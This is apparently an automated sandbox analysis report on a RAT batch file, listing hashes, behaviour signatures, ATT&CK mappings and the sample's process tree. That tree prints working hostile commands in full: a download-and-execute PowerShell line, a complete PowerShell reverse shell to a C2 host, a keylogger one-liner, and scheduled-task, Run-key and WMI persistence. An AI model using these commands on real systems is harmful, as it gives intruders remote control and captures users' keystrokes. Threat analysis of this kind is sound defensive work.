796a17b8b6a5dde7b42fcef6ba2e3cd224f9b40604881d490612336c0ae44b41

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:17

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General

Target
rat_build_98995_014314.bat
Size 4KB
Sample260529-17dbbab15p
SHA256 796a17b8b6a5dde7b42fcef6ba2e3cd224f9b40604881d490612336c0ae44b41
MD5 ad0ffd24ec6984bc520c3a41ef19f430
SHA1 7e79549245b6b86061bd2722e2738802de4830a3
SHA512 600e1e71f040b3556fdcf797828a5aa71f17a662dbb16be7bbd37c211f2ebe5009f58765f85dff7e570fe76b2d3ce9fd93a4a16f53644ddfac046a39bdf964ce
SSDEEP 96:EI+n3Wv0j91Aa/O99PCS/nm23dUUsg4aQSiFgZk8mvlo11R:EZmv0j9132nvdTs2iFgkHlsR
TLSH
T1F3A1F913578BB120C5B4661DDD333868136CEAF71345D18EBA08CEC5295CB53862D9E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_98995.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1448	powershell.exe
3672	powershell.exe
672	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_98995 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_98995.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4056	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4384	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1016	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4700	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3672	powershell.exe
3672	powershell.exe
672	powershell.exe
672	powershell.exe
1448	powershell.exe
1448	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1096	WMIC.exe
Token: SeSecurityPrivilege	1096	WMIC.exe
Token: SeTakeOwnershipPrivilege	1096	WMIC.exe
Token: SeLoadDriverPrivilege	1096	WMIC.exe
Token: SeSystemProfilePrivilege	1096	WMIC.exe
Token: SeSystemtimePrivilege	1096	WMIC.exe
Token: SeProfSingleProcessPrivilege	1096	WMIC.exe
Token: SeIncBasePriorityPrivilege	1096	WMIC.exe
Token: SeCreatePagefilePrivilege	1096	WMIC.exe
Token: SeBackupPrivilege	1096	WMIC.exe
Token: SeRestorePrivilege	1096	WMIC.exe
Token: SeShutdownPrivilege	1096	WMIC.exe
Token: SeDebugPrivilege	1096	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1096	WMIC.exe
Token: SeRemoteShutdownPrivilege	1096	WMIC.exe
Token: SeUndockPrivilege	1096	WMIC.exe
Token: SeManageVolumePrivilege	1096	WMIC.exe
Token: 33	1096	WMIC.exe
Token: 34	1096	WMIC.exe
Token: 35	1096	WMIC.exe
Token: 36	1096	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1096	WMIC.exe
Token: SeSecurityPrivilege	1096	WMIC.exe
Token: SeTakeOwnershipPrivilege	1096	WMIC.exe
Token: SeLoadDriverPrivilege	1096	WMIC.exe
Token: SeSystemProfilePrivilege	1096	WMIC.exe
Token: SeSystemtimePrivilege	1096	WMIC.exe
Token: SeProfSingleProcessPrivilege	1096	WMIC.exe
Token: SeIncBasePriorityPrivilege	1096	WMIC.exe
Token: SeCreatePagefilePrivilege	1096	WMIC.exe
Token: SeBackupPrivilege	1096	WMIC.exe
Token: SeRestorePrivilege	1096	WMIC.exe
Token: SeShutdownPrivilege	1096	WMIC.exe
Token: SeDebugPrivilege	1096	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1096	WMIC.exe
Token: SeRemoteShutdownPrivilege	1096	WMIC.exe
Token: SeUndockPrivilege	1096	WMIC.exe
Token: SeManageVolumePrivilege	1096	WMIC.exe
Token: 33	1096	WMIC.exe
Token: 34	1096	WMIC.exe
Token: 35	1096	WMIC.exe
Token: 36	1096	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5084	WMIC.exe
Token: SeSecurityPrivilege	5084	WMIC.exe
Token: SeTakeOwnershipPrivilege	5084	WMIC.exe
Token: SeLoadDriverPrivilege	5084	WMIC.exe
Token: SeSystemProfilePrivilege	5084	WMIC.exe
Token: SeSystemtimePrivilege	5084	WMIC.exe
Token: SeProfSingleProcessPrivilege	5084	WMIC.exe
Token: SeIncBasePriorityPrivilege	5084	WMIC.exe
Token: SeCreatePagefilePrivilege	5084	WMIC.exe
Token: SeBackupPrivilege	5084	WMIC.exe
Token: SeRestorePrivilege	5084	WMIC.exe
Token: SeShutdownPrivilege	5084	WMIC.exe
Token: SeDebugPrivilege	5084	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5084	WMIC.exe
Token: SeRemoteShutdownPrivilege	5084	WMIC.exe
Token: SeUndockPrivilege	5084	WMIC.exe
Token: SeManageVolumePrivilege	5084	WMIC.exe
Token: 33	5084	WMIC.exe
Token: 34	5084	WMIC.exe
Token: 35	5084	WMIC.exe
Token: 36	5084	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5084	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 4700	5052	cmd.exe	85
PID 5052 wrote to memory of 1016	5052	cmd.exe	86
PID 5052 wrote to memory of 1096	5052	cmd.exe	87
PID 5052 wrote to memory of 5084	5052	cmd.exe	88
PID 5052 wrote to memory of 3988	5052	cmd.exe	89
PID 5052 wrote to memory of 4384	5052	cmd.exe	92
PID 5052 wrote to memory of 4056	5052	cmd.exe	100
PID 5052 wrote to memory of 3672	5052	cmd.exe	101
PID 5052 wrote to memory of 672	5052	cmd.exe	103
PID 5052 wrote to memory of 1448	5052	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_98995_014314.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_98995" /tr "C:\Users\Admin\AppData\Local\Temp\_98995.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4700
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_98995" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_98995.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1016
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_98995", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1096
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_98995", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_98995.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5084
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_98995.txt
  2⤵
  PID:3988
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4384
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_98995.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1448

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c28d59291391efebf6de81340c55727a036fe730a2a96d2caeffb1bde81c2f1a
MD5 8d402fe552906f8ea6c8b86ecfbcf956
SHA1 f36502e51ffadb9904fade216a11bb74d5556453
SHA512 2684f7e12e10a77e0dc74ce29f65ba9bb91a6c7e93258c5d84f6815b3db87110c29491628e278e1df1da9d86b1e43932799ea5bfcf9f7da4ad8d1de45973adfd
TLSH
T18A117A27F39CC921CC96153A409D9C1172B683D741AEDF9F6FC4D214A07F984CB71194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
MD5 9b2bec72b86f9fd4436e8d351bc99cdd
SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_biqrypeh.0i0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_biqrypeh.0i0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3672-8-0x0000020959490000-0x00000209594B2000-memory.dmp

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